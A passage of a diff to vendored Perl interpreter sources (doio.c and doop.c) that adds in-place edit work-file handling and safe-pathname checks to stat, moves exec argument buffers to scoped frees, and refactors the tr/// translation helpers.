-        }
 	if (io && (IoFLAGS(io) & IOf_ARGV)
 	    && PL_argvout_stack && AvFILLp(PL_argvout_stack) >= 0)
 	{
@@ -1058,6 +1454,72 @@
     return NULL;
 }
 
+#ifdef ARGV_USE_ATFUNCTIONS
+#  if defined(__FreeBSD__)
+
+/* FreeBSD 11 renameat() mis-behaves strangely with absolute paths in cases where the
+ * equivalent rename() succeeds
+ */
+static int
+S_my_renameat(int olddfd, const char *oldpath, int newdfd, const char *newpath) {
+    /* this is intended only for use in Perl_do_close() */
+    assert(olddfd == newdfd);
+    assert(PERL_FILE_IS_ABSOLUTE(oldpath) == PERL_FILE_IS_ABSOLUTE(newpath));
+    if (PERL_FILE_IS_ABSOLUTE(oldpath)) {
+        return PerlLIO_rename(oldpath, newpath);
+    }
+    else {
+        return renameat(olddfd, oldpath, newdfd, newpath);
+    }
+}
+
+#  else
+#    define S_my_renameat(dh1, pv1, dh2, pv2) renameat((dh1), (pv1), (dh2), (pv2))
+#  endif /* if defined(__FreeBSD__) */
+#endif
+
+static bool
+S_dir_unchanged(pTHX_ const char *orig_pv, MAGIC *mg) {
+    Stat_t statbuf;
+
+#ifdef ARGV_USE_STAT_INO
+    SV **stat_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_CWD_STAT, FALSE);
+    Stat_t *orig_cwd_stat = stat_psv && *stat_psv ? (Stat_t *)SvPVX(*stat_psv) : NULL;
+
+    /* if the path is absolute the possible moving of cwd (which the file
+       might be in) isn't our problem.
+       This code tries to be reasonably balanced about detecting a changed
+       CWD, if we have the information needed to check that curdir has changed, we
+       check it
+    */
+    if (!PERL_FILE_IS_ABSOLUTE(orig_pv)
+        && orig_cwd_stat
+        && PerlLIO_stat(".", &statbuf) >= 0
+        && ( statbuf.st_dev != orig_cwd_stat->st_dev
+                     || statbuf.st_ino != orig_cwd_stat->st_ino)) {
+        Perl_croak(aTHX_ "Cannot complete in-place edit of %s: %s",
+                   orig_pv, "Current directory has changed");
+    }
+#else
+    SV **temp_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_TEMP_NAME, FALSE);
+
+    /* Some platforms don't have useful st_ino etc, so just
+       check we can see the work file.
+    */
+    if (!PERL_FILE_IS_ABSOLUTE(orig_pv)
+        && PerlLIO_stat(SvPVX(*temp_psv), &statbuf) < 0) {
+        Perl_croak(aTHX_ "Cannot complete in-place edit of %s: %s",
+                   orig_pv,
+                   "Work file is missing - did you change directory?");
+    }
+#endif
+
+    return TRUE;
+}
+
+#define dir_unchanged(orig_psv, mg) \
+    S_dir_unchanged(aTHX_ (orig_psv), (mg))
+
 /* explicit renamed to avoid C++ conflict    -- kja */
 bool
 Perl_do_close(pTHX_ GV *gv, bool not_implicit)
@@ -1064,6 +1526,7 @@
 {
     bool retval;
     IO *io;
+    MAGIC *mg;
 
     if (!gv)
 	gv = PL_argvgv;
@@ -1080,7 +1543,180 @@
 	}
 	return FALSE;
     }
-    retval = io_close(io, NULL, not_implicit, FALSE);
+    if ((mg = mg_findext((SV*)io, PERL_MAGIC_uvar, &argvout_vtbl))
+        && mg->mg_obj) {
+        /* handle to an in-place edit work file */
+        SV **back_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_BACKUP_NAME, FALSE);
+        SV **temp_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_TEMP_NAME, FALSE);
+        /* PL_oldname may have been modified by a nested ARGV use at this point */
+        SV **orig_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_NAME, FALSE);
+        SV **mode_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_MODE, FALSE);
+        SV **pid_psv  = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_PID, FALSE);
+#if defined(ARGV_USE_ATFUNCTIONS)
+        SV **dir_psv  = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_DIRP, FALSE);
+        DIR *dir;
+        int dfd;
+#endif
+        UV mode;
+        int fd;
+
+        const char *orig_pv;
+
+        assert(temp_psv && *temp_psv);
+        assert(orig_psv && *orig_psv);
+        assert(mode_psv && *mode_psv);
+        assert(pid_psv && *pid_psv);
+#ifdef ARGV_USE_ATFUNCTIONS
+        assert(dir_psv && *dir_psv);
+        dir = INT2PTR(DIR *, SvIVX(*dir_psv));
+        dfd = my_dirfd(dir);
+#endif
+
+        orig_pv = SvPVX(*orig_psv);
+        mode = SvUV(*mode_psv);
+
+        if ((mode & (S_ISUID|S_ISGID)) != 0
+            && (fd = PerlIO_fileno(IoIFP(io))) >= 0) {
+            (void)PerlIO_flush(IoIFP(io));
+#ifdef HAS_FCHMOD
+            (void)fchmod(fd, mode);
+#else
+            (void)PerlLIO_chmod(orig_pv, mode);
+#endif
+        }
+
+        retval = io_close(io, NULL, not_implicit, FALSE);
+
+        if (SvIV(*pid_psv) != (IV)PerlProc_getpid()) {
+            /* this is a child process, don't duplicate our rename() etc
+               processing below */
+            goto freext;
+        }
+
+        if (retval) {
+#if defined(DOSISH) || defined(__CYGWIN__)
+            if (PL_argvgv && GvIOp(PL_argvgv)
+                && IoIFP(GvIOp(PL_argvgv))
+                && (IoFLAGS(GvIOp(PL_argvgv)) & (IOf_ARGV|IOf_START)) == IOf_ARGV) {
+                do_close(PL_argvgv, FALSE);
+            }
+#endif
+#ifndef ARGV_USE_ATFUNCTIONS
+            if (!dir_unchanged(orig_pv, mg))
+                goto abort_inplace;
+#endif
+            if (back_psv && *back_psv) {
+#if defined(HAS_LINK) && !defined(DOSISH) && !defined(__CYGWIN__) && defined(HAS_RENAME)
+                if (
+#  ifdef ARGV_USE_ATFUNCTIONS
+                    linkat(dfd, orig_pv, dfd, SvPVX(*back_psv), 0) < 0 &&
+                    !(UNLIKELY(NotSupported(errno)) &&
+                      dir_unchanged(orig_pv, mg) &&
+                               link(orig_pv, SvPVX(*back_psv)) == 0)
+#  else
+                    link(orig_pv, SvPVX(*back_psv)) < 0
+#  endif
+                    )
+#endif
+                {
+#ifdef HAS_RENAME
+                    if (
+#  ifdef ARGV_USE_ATFUNCTIONS
+                        S_my_renameat(dfd, orig_pv, dfd, SvPVX(*back_psv)) < 0 &&
+                        !(UNLIKELY(NotSupported(errno)) &&
+                          dir_unchanged(orig_pv, mg) &&
+                          PerlLIO_rename(orig_pv, SvPVX(*back_psv)) == 0)
+#  else
+                        PerlLIO_rename(orig_pv, SvPVX(*back_psv)) < 0
+#  endif
+                        ) {
+                        if (!not_implicit) {
+#  ifdef ARGV_USE_ATFUNCTIONS
+                            if (unlinkat(dfd, SvPVX_const(*temp_psv), 0) < 0 &&
+                                UNLIKELY(NotSupported(errno)) &&
+                                dir_unchanged(orig_pv, mg))
+                                (void)UNLINK(SvPVX_const(*temp_psv));
+#  else
+                            UNLINK(SvPVX(*temp_psv));
+#  endif
+                            Perl_croak(aTHX_ "Can't rename %s to %s: %s, skipping file",
+                                       SvPVX(*orig_psv), SvPVX(*back_psv), Strerror(errno));
+                        }
+                        /* should we warn here? */
+                        goto abort_inplace;
+                    }
+#else
+                    (void)UNLINK(SvPVX(*back_psv));
+                    if (link(orig_pv, SvPVX(*back_psv))) {
+                        if (!not_implicit) {
+                            Perl_croak(aTHX_ "Can't rename %s to %s: %s, skipping file",
+                                       SvPVX(*orig_psv), SvPVX(*back_psv), Strerror(errno));
+                        }
+                        goto abort_inplace;
+                    }
+                    /* we need to use link() to get the temp into place too, and linK()
+                       fails if the new link name exists */
+                    (void)UNLINK(orig_pv);
+#endif
+                }
+            }
+#if defined(DOSISH) || defined(__CYGWIN__) || !defined(HAS_RENAME)
+            else {
+                UNLINK(orig_pv);
+            }
+#endif
+            if (
+#if !defined(HAS_RENAME)
+                link(SvPVX(*temp_psv), orig_pv) < 0
+#elif defined(ARGV_USE_ATFUNCTIONS)
+		S_my_renameat(dfd, SvPVX(*temp_psv), dfd, orig_pv) < 0 &&
+                !(UNLIKELY(NotSupported(errno)) &&
+                  dir_unchanged(orig_pv, mg) &&
+                  PerlLIO_rename(SvPVX(*temp_psv), orig_pv) == 0)
+#else
+                PerlLIO_rename(SvPVX(*temp_psv), orig_pv) < 0
+#endif
+                ) {
+                if (!not_implicit) {
+#ifdef ARGV_USE_ATFUNCTIONS
+                    if (unlinkat(dfd, SvPVX_const(*temp_psv), 0) < 0 &&
+                        NotSupported(errno))
+                        UNLINK(SvPVX(*temp_psv));
+#else
+                    UNLINK(SvPVX(*temp_psv));
+#endif
+                    /* diag_listed_as: Cannot complete in-place edit of %s: %s */
+                    Perl_croak(aTHX_ "Cannot complete in-place edit of %s: failed to rename work file '%s' to '%s': %s",
+                               orig_pv, SvPVX(*temp_psv), orig_pv, Strerror(errno));
+                }
+            abort_inplace:
+                UNLINK(SvPVX_const(*temp_psv));
+                retval = FALSE;
+            }
+#ifndef HAS_RENAME
+            UNLINK(SvPVX(*temp_psv));
+#endif
+        }
+        else {
+#ifdef ARGV_USE_ATFUNCTIONS
+            if (unlinkat(dfd, SvPVX_const(*temp_psv), 0) &&
+                NotSupported(errno))
+                UNLINK(SvPVX_const(*temp_psv));
+                
+#else
+            UNLINK(SvPVX_const(*temp_psv));
+#endif
+            if (!not_implicit) {
+                Perl_croak(aTHX_ "Failed to close in-place work file %s: %s",
+                           SvPVX(*temp_psv), Strerror(errno));
+            }
+        }
+    freext:
+        mg_freeext((SV*)io, PERL_MAGIC_uvar, &argvout_vtbl);
+    }
+    else {
+        retval = io_close(io, NULL, not_implicit, FALSE);
+    }
     if (not_implicit) {
 	IoLINES(io) = 0;
 	IoPAGE(io) = 0;
@@ -1288,7 +1924,7 @@
 	    else {
 		const char *end;
   fail_discipline:
-		end = strchr(s+1, ':');
+		end = (char *) memchr(s+1, ':', len);
 		if (!end)
 		    end = s+len;
 #ifndef PERLIO_LAYERS
@@ -1437,8 +2073,11 @@
     if (PL_op->op_flags & OPf_REF) {
 	gv = cGVOP_gv;
       do_fstat:
-        if (gv == PL_defgv)
+        if (gv == PL_defgv) {
+	    if (PL_laststatval < 0)
+		SETERRNO(EBADF,RMS_IFI);
             return PL_laststatval;
+	}
 	io = GvIO(gv);
         do_fstat_have_io:
         PL_laststype = OP_STAT;
@@ -1449,6 +2088,7 @@
                 int fd = PerlIO_fileno(IoIFP(io));
                 if (fd < 0) {
                     /* E.g. PerlIO::scalar has no real fd. */
+		    SETERRNO(EBADF,RMS_IFI);
                     return (PL_laststatval = -1);
                 } else {
                     return (PL_laststatval = PerlLIO_fstat(fd, &PL_statcache));
@@ -1459,6 +2099,7 @@
         }
 	PL_laststatval = -1;
 	report_evil_fh(gv);
+	SETERRNO(EBADF,RMS_IFI);
 	return -1;
     }
     else if ((PL_op->op_private & (OPpFT_STACKED|OPpFT_AFTER_t))
@@ -1466,7 +2107,7 @@
 	return PL_laststatval;
     else {
 	SV* const sv = TOPs;
-	const char *s;
+	const char *s, *d;
 	STRLEN len;
 	if ((gv = MAYBE_DEREF_GV_flags(sv,flags))) {
 	    goto do_fstat;
@@ -1480,13 +2121,18 @@
 	s = SvPV_flags_const(sv, len, flags);
 	PL_statgv = NULL;
 	sv_setpvn(PL_statname, s, len);
-	s = SvPVX_const(PL_statname);		/* s now NUL-terminated */
+	d = SvPVX_const(PL_statname);		/* s now NUL-terminated */
 	PL_laststype = OP_STAT;
-	PL_laststatval = PerlLIO_stat(s, &PL_statcache);
+        if (!IS_SAFE_PATHNAME(s, len, OP_NAME(PL_op))) {
+            PL_laststatval = -1;
+        }
+        else {
+            PL_laststatval = PerlLIO_stat(d, &PL_statcache);
+        }
 	if (PL_laststatval < 0 && ckWARN(WARN_NEWLINE) && should_warn_nl(s)) {
-            GCC_DIAG_IGNORE(-Wformat-nonliteral); /* PL_warn_nl is constant */
+            GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral); /* PL_warn_nl is constant */
 	    Perl_warner(aTHX_ packWARN(WARN_NEWLINE), PL_warn_nl, "stat");
-            GCC_DIAG_RESTORE;
+            GCC_DIAG_RESTORE_STMT;
         }
 	return PL_laststatval;
     }
@@ -1499,6 +2145,7 @@
     static const char* const no_prev_lstat = "The stat preceding -l _ wasn't an lstat";
     dSP;
     const char *file;
+    STRLEN len;
     SV* const sv = TOPs;
     bool isio = FALSE;
     if (PL_op->op_flags & OPf_REF) {
@@ -1505,6 +2152,8 @@
 	if (cGVOP_gv == PL_defgv) {
 	    if (PL_laststype != OP_LSTAT)
 		Perl_croak(aTHX_ "%s", no_prev_lstat);
+	    if (PL_laststatval < 0)
+		SETERRNO(EBADF,RMS_IFI);
 	    return PL_laststatval;
 	}
 	PL_laststatval = -1;
@@ -1514,6 +2163,7 @@
 		              "Use of -l on filehandle %" HEKf,
 			      HEKfARG(GvENAME_HEK(cGVOP_gv)));
 	}
+	SETERRNO(EBADF,RMS_IFI);
 	return -1;
     }
     if ((PL_op->op_private & (OPpFT_STACKED|OPpFT_AFTER_t))
@@ -1542,13 +2192,18 @@
                               HEKfARG(GvENAME_HEK((const GV *)
                                           (SvROK(sv) ? SvRV(sv) : sv))));
     }
-    file = SvPV_flags_const_nolen(sv, flags);
+    file = SvPV_flags_const(sv, len, flags);
     sv_setpv(PL_statname,file);
-    PL_laststatval = PerlLIO_lstat(file,&PL_statcache);
+    if (!IS_SAFE_PATHNAME(file, len, OP_NAME(PL_op))) {
+        PL_laststatval = -1;
+    }
+    else {
+        PL_laststatval = PerlLIO_lstat(file,&PL_statcache);
+    }
     if (PL_laststatval < 0 && ckWARN(WARN_NEWLINE) && should_warn_nl(file)) {
-        GCC_DIAG_IGNORE(-Wformat-nonliteral); /* PL_warn_nl is constant */
+        GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral); /* PL_warn_nl is constant */
         Perl_warner(aTHX_ packWARN(WARN_NEWLINE), PL_warn_nl, "lstat");
-        GCC_DIAG_RESTORE;
+        GCC_DIAG_RESTORE_STMT;
     }
     return PL_laststatval;
 }
@@ -1578,47 +2233,47 @@
 #if defined(__SYMBIAN32__) || defined(__LIBCATAMOUNT__)
     Perl_croak(aTHX_ "exec? I'm not *that* kind of operating system");
 #else
-    if (sp > mark) {
-	const char **a;
+    assert(sp >= mark);
+    ENTER;
+    {
+	const char **argv, **a;
 	const char *tmps = NULL;
-	Newx(PL_Argv, sp - mark + 1, const char*);
-	a = PL_Argv;
+	Newx(argv, sp - mark + 1, const char*);
+	SAVEFREEPV(argv);
+	a = argv;
 
 	while (++mark <= sp) {
-	    if (*mark)
-		*a++ = SvPV_nolen_const(*mark);
-	    else
+	    if (*mark) {
+		char *arg = savepv(SvPV_nolen_const(*mark));
+		SAVEFREEPV(arg);
+		*a++ = arg;
+	    } else
 		*a++ = "";
 	}
 	*a = NULL;
-	if (really)
-	    tmps = SvPV_nolen_const(really);
-	if ((!really && *PL_Argv[0] != '/') ||
+	if (really) {
+	    tmps = savepv(SvPV_nolen_const(really));
+	    SAVEFREEPV(tmps);
+	}
+        if ((!really && argv[0] && *argv[0] != '/') ||
 	    (really && *tmps != '/'))		/* will execvp use PATH? */
 	    TAINT_ENV();		/* testing IFS here is overkill, probably */
 	PERL_FPU_PRE_EXEC
 	if (really && *tmps) {
-            PerlProc_execvp(tmps,EXEC_ARGV_CAST(PL_Argv));
-	} else {
-            PerlProc_execvp(PL_Argv[0],EXEC_ARGV_CAST(PL_Argv));
-	}
+            PerlProc_execvp(tmps,EXEC_ARGV_CAST(argv));
+        } else if (argv[0]) {
+            PerlProc_execvp(argv[0],EXEC_ARGV_CAST(argv));
+        } else {
+            SETERRNO(ENOENT,RMS_FNF);
+        }
 	PERL_FPU_POST_EXEC
- 	S_exec_failed(aTHX_ (really ? tmps : PL_Argv[0]), fd, do_report);
+        S_exec_failed(aTHX_ (really ? tmps : argv[0] ? argv[0] : ""), fd, do_report);
     }
-    do_execfree();
+    LEAVE;
 #endif
     return FALSE;
 }
 
-void
-Perl_do_execfree(pTHX)
-{
-    Safefree(PL_Argv);
-    PL_Argv = NULL;
-    Safefree(PL_Cmd);
-    PL_Cmd = NULL;
-}
-
 #ifdef PERL_DEFAULT_DO_EXEC3_IMPLEMENTATION
 
 bool
@@ -1625,7 +2280,7 @@
 Perl_do_exec3(pTHX_ const char *incmd, int fd, int do_report)
 {
     dVAR;
-    const char **a;
+    const char **argv, **a;
     char *s;
     char *buf;
     char *cmd;
@@ -1634,7 +2289,9 @@
 
     PERL_ARGS_ASSERT_DO_EXEC3;
 
+    ENTER;
     Newx(buf, cmdlen, char);
+    SAVEFREEPV(buf);
     cmd = buf;
     memcpy(cmd, incmd, cmdlen);
 
@@ -1647,7 +2304,7 @@
     {
         char flags[PERL_FLAGS_MAX];
 	if (strnEQ(cmd,PL_cshname,PL_cshlen) &&
-	    strEQs(cmd+PL_cshlen," -c")) {
+	    strBEGINs(cmd+PL_cshlen," -c")) {
           my_strlcpy(flags, "-c", PERL_FLAGS_MAX);
 	  s = cmd+PL_cshlen+3;
 	  if (*s == 'f') {
@@ -1670,8 +2327,7 @@
 		  PERL_FPU_POST_EXEC
 		  *s = '\'';
  		  S_exec_failed(aTHX_ PL_cshname, fd, do_report);
-		  Safefree(buf);
-		  return FALSE;
+		  goto leave;
 	      }
 	  }
 	}
@@ -1683,7 +2339,7 @@
     if (*cmd == '.' && isSPACE(cmd[1]))
 	goto doshell;
 
-    if (strEQs(cmd,"exec") && isSPACE(cmd[4]))
+    if (strBEGINs(cmd,"exec") && isSPACE(cmd[4]))
 	goto doshell;
 
     s = cmd;
@@ -1718,15 +2374,16 @@
             PerlProc_execl(PL_sh_path, "sh", "-c", cmd, (char *)NULL);
 	    PERL_FPU_POST_EXEC
  	    S_exec_failed(aTHX_ PL_sh_path, fd, do_report);
-	    Safefree(buf);
-	    return FALSE;
+	    goto leave;
 	}
     }
 
-    Newx(PL_Argv, (s - cmd) / 2 + 2, const char*);
-    PL_Cmd = savepvn(cmd, s-cmd);
-    a = PL_Argv;
-    for (s = PL_Cmd; *s;) {
+    Newx(argv, (s - cmd) / 2 + 2, const char*);
+    SAVEFREEPV(argv);
+    cmd = savepvn(cmd, s-cmd);
+    SAVEFREEPV(cmd);
+    a = argv;
+    for (s = cmd; *s;) {
 	while (isSPACE(*s))
 	    s++;
 	if (*s)
@@ -1737,18 +2394,16 @@
 	    *s++ = '\0';
     }
     *a = NULL;
-    if (PL_Argv[0]) {
+    if (argv[0]) {
 	PERL_FPU_PRE_EXEC
-        PerlProc_execvp(PL_Argv[0],EXEC_ARGV_CAST(PL_Argv));
+        PerlProc_execvp(argv[0],EXEC_ARGV_CAST(argv));
 	PERL_FPU_POST_EXEC
-	if (errno == ENOEXEC) {		/* for system V NIH syndrome */
-	    do_execfree();
+	if (errno == ENOEXEC)		/* for system V NIH syndrome */
 	    goto doshell;
-	}
- 	S_exec_failed(aTHX_ PL_Argv[0], fd, do_report);
+ 	S_exec_failed(aTHX_ argv[0], fd, do_report);
     }
-    do_execfree();
-    Safefree(buf);
+leave:
+    LEAVE;
     return FALSE;
 }
 
@@ -2579,33 +3234,29 @@
     fp = Perl_vms_start_glob(aTHX_ tmpglob, io);
 
 #else /* !VMS */
-#ifdef DOSISH
-#ifdef OS2
+# ifdef DOSISH
+#  if defined(OS2)
     sv_setpv(tmpcmd, "for a in ");
     sv_catsv(tmpcmd, tmpglob);
     sv_catpv(tmpcmd, "; do echo \"$a\\0\\c\"; done |");
-#else
-#ifdef DJGPP
+#  elif defined(DJGPP)
     sv_setpv(tmpcmd, "/dev/dosglob/"); /* File System Extension */
     sv_catsv(tmpcmd, tmpglob);
-#else
+#  else
     sv_setpv(tmpcmd, "perlglob ");
     sv_catsv(tmpcmd, tmpglob);
     sv_catpv(tmpcmd, " |");
-#endif /* !DJGPP */
-#endif /* !OS2 */
-#else /* !DOSISH */
-#if defined(CSH)
+#  endif
+# elif defined(CSH)
     sv_setpvn(tmpcmd, PL_cshname, PL_cshlen);
     sv_catpv(tmpcmd, " -cf 'set nonomatch; glob ");
     sv_catsv(tmpcmd, tmpglob);
     sv_catpv(tmpcmd, "' 2>/dev/null |");
-#else
+# else
     sv_setpv(tmpcmd, "echo ");
     sv_catsv(tmpcmd, tmpglob);
     sv_catpv(tmpcmd, "|tr -s ' \t\f\r' '\\n\\n\\n\\n'|");
-#endif /* !CSH */
-#endif /* !DOSISH */
+# endif /* !DOSISH && !CSH */
     {
         SV ** const svp = hv_fetchs(GvHVn(PL_envgv), "LS_COLORS", 0);
         if (svp && *svp)

Modified: vendor/perl/dist/doop.c
===================================================================
--- vendor/perl/dist/doop.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/doop.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -27,14 +27,22 @@
 #include <signal.h>
 #endif
 
-STATIC I32
+
+/* Helper function for do_trans().
+ * Handles non-utf8 cases(*) not involving the /c, /d, /s flags,
+ * and where search and replacement charlists aren't identical.
+ * (*) i.e. where the search and replacement charlists are non-utf8. sv may
+ * or may not be utf8.
+ */
+
+STATIC Size_t
 S_do_trans_simple(pTHX_ SV * const sv)
 {
-    I32 matches = 0;
+    Size_t matches = 0;
     STRLEN len;
     U8 *s = (U8*)SvPV_nomg(sv,len);
     U8 * const send = s+len;
-    const short * const tbl = (short*)cPVOP->op_pv;
+    const OPtrans_map * const tbl = (OPtrans_map*)cPVOP->op_pv;
 
     PERL_ARGS_ASSERT_DO_TRANS_SIMPLE;
 
@@ -44,7 +52,7 @@
     /* First, take care of non-UTF-8 input strings, because they're easy */
     if (!SvUTF8(sv)) {
 	while (s < send) {
-	    const I32 ch = tbl[*s];
+	    const short ch = tbl->map[*s];
 	    if (ch >= 0) {
 		matches++;
 		*s = (U8)ch;
@@ -54,7 +62,7 @@
 	SvSETMAGIC(sv);
     }
     else {
-	const I32 grows = PL_op->op_private & OPpTRANS_GROWS;
+	const bool grows = cBOOL(PL_op->op_private & OPpTRANS_GROWS);
 	U8 *d;
 	U8 *dstart;
 
@@ -66,13 +74,13 @@
 	dstart = d;
 	while (s < send) {
 	    STRLEN ulen;
-	    I32 ch;
+	    short ch;
 
 	    /* Need to check this, otherwise 128..255 won't match */
 	    const UV c = utf8n_to_uvchr(s, send - s, &ulen, UTF8_ALLOW_DEFAULT);
-	    if (c < 0x100 && (ch = tbl[c]) >= 0) {
+	    if (c < 0x100 && (ch = tbl->map[c]) >= 0) {
 		matches++;
-		d = uvchr_to_utf8(d, ch);
+		d = uvchr_to_utf8(d, (UV)ch);
 		s += ulen;
 	    }
 	    else { /* No match -> copy */
@@ -95,14 +103,25 @@
     return matches;
 }
 
-STATIC I32
+
+/* Helper function for do_trans().
+ * Handles non-utf8 cases(*) where search and replacement charlists are
+ * identical: so the string isn't modified, and only a count of modifiable
+ * chars is needed.
+ * Note that it doesn't handle /d or /s, since these modify the string
+ * even if the replacement list is empty.
+ * (*) i.e. where the search and replacement charlists are non-utf8. sv may
+ * or may not be utf8.
+ */
+
+STATIC Size_t
 S_do_trans_count(pTHX_ SV * const sv)
 {
     STRLEN len;
     const U8 *s = (const U8*)SvPV_nomg_const(sv, len);
     const U8 * const send = s + len;
-    I32 matches = 0;
-    const short * const tbl = (short*)cPVOP->op_pv;
+    Size_t matches = 0;
+    const OPtrans_map * const tbl = (OPtrans_map*)cPVOP->op_pv;
 
     PERL_ARGS_ASSERT_DO_TRANS_COUNT;
 
@@ -111,17 +130,17 @@
 
     if (!SvUTF8(sv)) {
 	while (s < send) {
-            if (tbl[*s++] >= 0)
+            if (tbl->map[*s++] >= 0)
                 matches++;
 	}
     }
     else {
-	const I32 complement = PL_op->op_private & OPpTRANS_COMPLEMENT;
+	const bool complement = cBOOL(PL_op->op_private & OPpTRANS_COMPLEMENT);
 	while (s < send) {
 	    STRLEN ulen;
 	    const UV c = utf8n_to_uvchr(s, send - s, &ulen, UTF8_ALLOW_DEFAULT);
 	    if (c < 0x100) {
-		if (tbl[c] >= 0)
+		if (tbl->map[c] >= 0)
 		    matches++;
 	    } else if (complement)
 		matches++;
@@ -132,14 +151,22 @@
     return matches;
 }
 
-STATIC I32
+
+/* Helper function for do_trans().
+ * Handles non-utf8 cases(*) involving the /c, /d, /s flags,
+ * and where search and replacement charlists aren't identical.
+ * (*) i.e. where the search and replacement charlists are non-utf8. sv may
+ * or may not be utf8.
+ */
+
+STATIC Size_t
 S_do_trans_complex(pTHX_ SV * const sv)
 {
     STRLEN len;
     U8 *s = (U8*)SvPV_nomg(sv, len);
     U8 * const send = s+len;
-    I32 matches = 0;
-    const short * const tbl = (short*)cPVOP->op_pv;
+    Size_t matches = 0;
+    const OPtrans_map * const tbl = (OPtrans_map*)cPVOP->op_pv;
 
     PERL_ARGS_ASSERT_DO_TRANS_COMPLEX;
 
@@ -153,7 +180,7 @@
 	if (PL_op->op_private & OPpTRANS_SQUASH) {
 	    const U8* p = send;
 	    while (s < send) {
-		const I32 ch = tbl[*s];
+		const short ch = tbl->map[*s];
 		if (ch >= 0) {
 		    *d = (U8)ch;
 		    matches++;
@@ -169,7 +196,7 @@
 	}
 	else {
 	    while (s < send) {
-		const I32 ch = tbl[*s];
+		const short ch = tbl->map[*s];
 		if (ch >= 0) {
 		    matches++;
 		    *d++ = (U8)ch;
@@ -185,12 +212,12 @@
 	SvCUR_set(sv, d - dstart);
     }
     else { /* is utf8 */
-	const I32 complement = PL_op->op_private & OPpTRANS_COMPLEMENT;
-	const I32 grows = PL_op->op_private & OPpTRANS_GROWS;
-	const I32 del = PL_op->op_private & OPpTRANS_DELETE;
+	const bool squash = cBOOL(PL_op->op_private & OPpTRANS_SQUASH);
+	const bool grows  = cBOOL(PL_op->op_private & OPpTRANS_GROWS);
 	U8 *d;
 	U8 *dstart;
-	STRLEN rlen = 0;
+	Size_t size = tbl->size;
+        UV pch = 0xfeedface;
 
 	if (grows)
 	    Newx(d, len*2+1, U8);
@@ -197,90 +224,43 @@
 	else
 	    d = s;
 	dstart = d;
-	if (complement && !del)
-	    rlen = tbl[0x100];
 
-	if (PL_op->op_private & OPpTRANS_SQUASH) {
-	    UV pch = 0xfeedface;
-	    while (s < send) {
-		STRLEN len;
-		const UV comp = utf8n_to_uvchr(s, send - s, &len,
-					       UTF8_ALLOW_DEFAULT);
-		I32 ch;
+        while (s < send) {
+            STRLEN len;
+            const UV comp = utf8n_to_uvchr(s, send - s, &len,
+                                           UTF8_ALLOW_DEFAULT);
+            UV     ch;
+            short sch;
 
-		if (comp > 0xff) {
-		    if (!complement) {
-			Move(s, d, len, U8);
-			d += len;
-		    }
-		    else {
-			matches++;
-			if (!del) {
-			    ch = (rlen == 0) ? (I32)comp :
-				(comp - 0x100 < rlen) ?
-				tbl[comp+1] : tbl[0x100+rlen];
-			    if ((UV)ch != pch) {
-				d = uvchr_to_utf8(d, ch);
-				pch = (UV)ch;
-			    }
-			    s += len;
-			    continue;
-			}
-		    }
-		}
-		else if ((ch = tbl[comp]) >= 0) {
-		    matches++;
-		    if ((UV)ch != pch) {
-		        d = uvchr_to_utf8(d, ch);
-		        pch = (UV)ch;
-		    }
-		    s += len;
-		    continue;
-		}
-		else if (ch == -1) {	/* -1 is unmapped character */
-		    Move(s, d, len, U8);
-		    d += len;
-		}
-		else if (ch == -2)      /* -2 is delete character */
-		    matches++;
-		s += len;
-		pch = 0xfeedface;
-	    }
-	}
-	else {
-	    while (s < send) {
-		STRLEN len;
-		const UV comp = utf8n_to_uvchr(s, send - s, &len,
-					       UTF8_ALLOW_DEFAULT);
-		I32 ch;
-		if (comp > 0xff) {
-		    if (!complement) {
-			Move(s, d, len, U8);
-			d += len;
-		    }
-		    else {
-			matches++;
-			if (!del) {
-			    if (comp - 0x100 < rlen)
-				d = uvchr_to_utf8(d, tbl[comp+1]);
-			    else
-				d = uvchr_to_utf8(d, tbl[0x100+rlen]);
-			}
-		    }
-		}
-		else if ((ch = tbl[comp]) >= 0) {
-		    d = uvchr_to_utf8(d, ch);
-		    matches++;
-		}
-		else if (ch == -1) {	/* -1 is unmapped character */
-		    Move(s, d, len, U8);
-		    d += len;
-		}
-		else if (ch == -2)      /* -2 is delete character */
-		    matches++;
-		s += len;
-	    }
-	}
+            sch = tbl->map[comp >= size ? size : comp];
+
+            if (sch >= 0) {
+                ch = (UV)sch;
+              replace:
+                matches++;
+                if (LIKELY(!squash || ch != pch)) {
+                    d = uvchr_to_utf8(d, ch);
+                    pch = ch;
+                }
+                s += len;
+                continue;
+            }
+            else if (sch == -1) {	/* -1 is unmapped character */
+                Move(s, d, len, U8);
+                d += len;
+            }
+            else if (sch == -2)     /* -2 is delete character */
+                matches++;
+            else {
+                assert(sch == -3);  /* -3 is empty replacement */
+                ch = comp;
+                goto replace;
+            }
+
+            s += len;
+            pch = 0xfeedface;
+        }
+
 	if (grows) {
 	    sv_setpvn(sv, (char*)dstart, d - dstart);
 	    Safefree(dstart);
@@ -295,7 +275,15 @@
     return matches;
 }
 
-STATIC I32
+
+/* Helper function for do_trans().
+ * Handles utf8 cases(*) not involving the /c, /d, /s flags,
+ * and where search and replacement charlists aren't identical.
+ * (*) i.e. where the search or replacement charlists are utf8. sv may
+ * or may not be utf8.
+ */
+
+STATIC Size_t
 S_do_trans_simple_utf8(pTHX_ SV * const sv)
 {
     U8 *s;
@@ -303,8 +291,8 @@
     U8 *d;
     U8 *start;
     U8 *dstart, *dend;
-    I32 matches = 0;
-    const I32 grows = PL_op->op_private & OPpTRANS_GROWS;
+    Size_t matches = 0;
+    const bool grows = cBOOL(PL_op->op_private & OPpTRANS_GROWS);
     STRLEN len;
     SV* const  rv =
 #ifdef USE_ITHREADS
@@ -323,15 +311,9 @@
 
     s = (U8*)SvPV_nomg(sv, len);
     if (!SvUTF8(sv)) {
-	const U8 *t = s;
-	const U8 * const e = s + len;
-	while (t < e) {
-	    const U8 ch = *t++;
